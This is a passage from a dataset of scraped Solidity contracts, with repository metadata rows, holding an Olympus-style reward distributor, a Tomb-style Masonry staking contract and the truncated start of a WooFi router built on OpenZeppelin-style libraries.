if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 75,919 | 11,743 |
b345bfab3ccc5e96441bf636e97d697c4cdfe83d885b158e92b248ffdcee12c7
| 32,150 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/47/4752aaD63Cde76A67FFb4d447fCAe19e8fCf2785_Masonry.sol
| 4,869 | 18,661 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ContractGuard {
mapping(uint256 => mapping(address => bool)) private _status;
function checkSameOriginReentranted() internal view returns (bool) {
return _status[block.number][tx.origin];
}
function checkSameSenderReentranted() internal view returns (bool) {
return _status[block.number][msg.sender];
}
modifier onlyOneBlock() {
require(!checkSameOriginReentranted(), "ContractGuard: one block, one function");
require(!checkSameSenderReentranted(), "ContractGuard: one block, one function");
_;
_status[block.number][tx.origin] = true;
_status[block.number][msg.sender] = true;
}
}
interface IBasisAsset {
function mint(address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external;
function burnFrom(address from, uint256 amount) external;
function isOperator() external returns (bool);
function operator() external view returns (address);
function transferOperator(address newOperator_) external;
}
interface ITreasury {
function epoch() external view returns (uint256);
function nextEpochPoint() external view returns (uint256);
function getTombPrice() external view returns (uint256);
function buyBonds(uint256 amount, uint256 targetPrice) external;
function redeemBonds(uint256 amount, uint256 targetPrice) external;
}
contract ShareWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public share;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public virtual {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
share.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public virtual {
uint256 masonShare = _balances[msg.sender];
require(masonShare >= amount, "Masonry: withdraw request greater than staked amount");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = masonShare.sub(amount);
share.safeTransfer(msg.sender, amount);
}
}
contract Masonry is ShareWrapper, ContractGuard {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct Masonseat {
uint256 lastSnapshotIndex;
uint256 rewardEarned;
uint256 epochTimerStart;
}
struct MasonrySnapshot {
uint256 time;
uint256 rewardReceived;
uint256 rewardPerShare;
}
// governance
address public operator;
// flags
bool public initialized = false;
IERC20 public tomb;
ITreasury public treasury;
mapping(address => Masonseat) public masons;
MasonrySnapshot[] public masonryHistory;
uint256 public withdrawLockupEpochs;
uint256 public rewardLockupEpochs;
event Initialized(address indexed executor, uint256 at);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardAdded(address indexed user, uint256 reward);
modifier onlyOperator() {
require(operator == msg.sender, "Masonry: caller is not the operator");
_;
}
modifier masonExists {
require(balanceOf(msg.sender) > 0, "Masonry: The mason does not exist");
_;
}
modifier updateReward(address mason) {
if (mason != address(0)) {
Masonseat memory seat = masons[mason];
seat.rewardEarned = earned(mason);
seat.lastSnapshotIndex = latestSnapshotIndex();
masons[mason] = seat;
}
_;
}
modifier notInitialized {
require(!initialized, "Masonry: already initialized");
_;
}
function initialize(IERC20 _tomb,
IERC20 _share,
ITreasury _treasury) public notInitialized {
tomb = _tomb;
share = _share;
treasury = _treasury;
MasonrySnapshot memory genesisSnapshot = MasonrySnapshot({time : block.number, rewardReceived : 0, rewardPerShare : 0});
masonryHistory.push(genesisSnapshot);
withdrawLockupEpochs = 6; // Lock for 6 epochs (36h) before release withdraw
rewardLockupEpochs = 3; // Lock for 3 epochs (18h) before release claimReward
initialized = true;
operator = msg.sender;
emit Initialized(msg.sender, block.number);
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function setLockUp(uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs) external onlyOperator {
require(_withdrawLockupEpochs >= _rewardLockupEpochs && _withdrawLockupEpochs <= 56, "_withdrawLockupEpochs: out of range"); // <= 2 week
withdrawLockupEpochs = _withdrawLockupEpochs;
rewardLockupEpochs = _rewardLockupEpochs;
}
// =========== Snapshot getters
function latestSnapshotIndex() public view returns (uint256) {
return masonryHistory.length.sub(1);
}
function getLatestSnapshot() internal view returns (MasonrySnapshot memory) {
return masonryHistory[latestSnapshotIndex()];
}
function getLastSnapshotIndexOf(address mason) public view returns (uint256) {
return masons[mason].lastSnapshotIndex;
}
function getLastSnapshotOf(address mason) internal view returns (MasonrySnapshot memory) {
return masonryHistory[getLastSnapshotIndexOf(mason)];
}
function canWithdraw(address mason) external view returns (bool) {
return masons[mason].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch();
}
function canClaimReward(address mason) external view returns (bool) {
return masons[mason].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch();
}
function epoch() external view returns (uint256) {
return treasury.epoch();
}
function nextEpochPoint() external view returns (uint256) {
return treasury.nextEpochPoint();
}
function getTombPrice() external view returns (uint256) {
return treasury.getTombPrice();
}
// =========== Mason getters
function rewardPerShare() public view returns (uint256) {
return getLatestSnapshot().rewardPerShare;
}
function earned(address mason) public view returns (uint256) {
uint256 latestRPS = getLatestSnapshot().rewardPerShare;
uint256 storedRPS = getLastSnapshotOf(mason).rewardPerShare;
return balanceOf(mason).mul(latestRPS.sub(storedRPS)).div(1e18).add(masons[mason].rewardEarned);
}
function stake(uint256 amount) public override onlyOneBlock updateReward(msg.sender) {
require(amount > 0, "Masonry: Cannot stake 0");
super.stake(amount);
masons[msg.sender].epochTimerStart = treasury.epoch(); // reset timer
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public override onlyOneBlock masonExists updateReward(msg.sender) {
require(amount > 0, "Masonry: Cannot withdraw 0");
require(masons[msg.sender].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch(), "Masonry: still in withdraw lockup");
claimReward();
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
}
function claimReward() public updateReward(msg.sender) {
uint256 reward = masons[msg.sender].rewardEarned;
if (reward > 0) {
require(masons[msg.sender].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch(), "Masonry: still in reward lockup");
masons[msg.sender].epochTimerStart = treasury.epoch(); // reset timer
masons[msg.sender].rewardEarned = 0;
tomb.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function allocateSeigniorage(uint256 amount) external onlyOneBlock onlyOperator {
require(amount > 0, "Masonry: Cannot allocate 0");
require(totalSupply() > 0, "Masonry: Cannot allocate when totalSupply is 0");
// Create & add new snapshot
uint256 prevRPS = getLatestSnapshot().rewardPerShare;
uint256 nextRPS = prevRPS.add(amount.mul(1e18).div(totalSupply()));
MasonrySnapshot memory newSnapshot = MasonrySnapshot({
time: block.number,
rewardReceived: amount,
rewardPerShare: nextRPS
});
masonryHistory.push(newSnapshot);
tomb.safeTransferFrom(msg.sender, address(this), amount);
emit RewardAdded(msg.sender, amount);
}
function governanceRecoverUnsupported(IERC20 _token, uint256 _amount, address _to) external onlyOperator {
// do not allow to drain core tokens
require(address(_token) != address(tomb), "tomb");
require(address(_token) != address(share), "share");
_token.safeTransfer(_to, _amount);
}
}
| 313,275 | 11,744 |
e3df13665e3f51a16fff678c35cd366e6039507fedc9a5581a2c78bdc87ffe16
| 30,580 |
.sol
|
Solidity
| false |
411342740
|
woonetwork/woofi_swap_smart_contracts
|
e9b9c9a3a6b2d052808d9a49bb88b949628f7a25
|
miscellaneous/WooRouter_V1_deprecated.sol
| 4,113 | 16,333 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, 'SafeMath: subtraction overflow');
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, 'SafeMath: division by zero');
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, 'SafeMath: modulo by zero');
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, 'Address: low-level static call failed');
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), 'Address: static call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, 'Address: low-level delegate call failed');
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), 'Address: delegate call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
'SafeERC20: approve from non-zero to non-zero allowance');
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
